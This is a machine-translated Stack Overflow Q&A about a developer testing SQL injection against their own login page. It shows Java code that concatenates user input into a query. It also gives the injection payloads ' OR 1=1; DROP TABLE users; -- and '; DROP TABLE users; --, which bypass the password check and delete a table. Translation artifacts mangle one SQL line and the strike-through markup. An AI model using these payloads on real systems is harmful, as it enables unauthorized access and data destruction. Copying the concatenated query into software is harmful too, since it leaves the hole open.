我正在尝试通过删除表(用户)来测试针对我的网站的 SQL 注入(inject),但它不起作用。
我的sql字符串语法:
String sql = "select * from users where username='" + username + "' and password='" + password + "';";
我将 jack
放入用户名字段中,然后
测试';删除表用户; -- 在密码字段中输入
并获取以下sql字符串:
从用户名='jack'和密码='test'的用户中选择*;删除表用户; --';
然后我执行它:
Statement st = conn.createStatement();
ResultSet rs = st.executeQuery(sql);
但它不起作用,知道为什么吗?
最佳答案
<罢工> 密码应该是:
' OR 1=1; DROP TABLE users; --
罢工>- <罢工>
'
将关闭密码字符串1=1
将确保您找到结果。
--
会评论最后'
从以前的密码
罢工>编辑:
我犯了一个错误。正在考虑一个不同的黑客。 1=1
是绕过密码检查并通过登录屏幕。
您只需关闭密码字符串
'; DROP TABLE users; --
关于mysql - 测试 SQL 注入(inject)/删除表不起作用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42940646/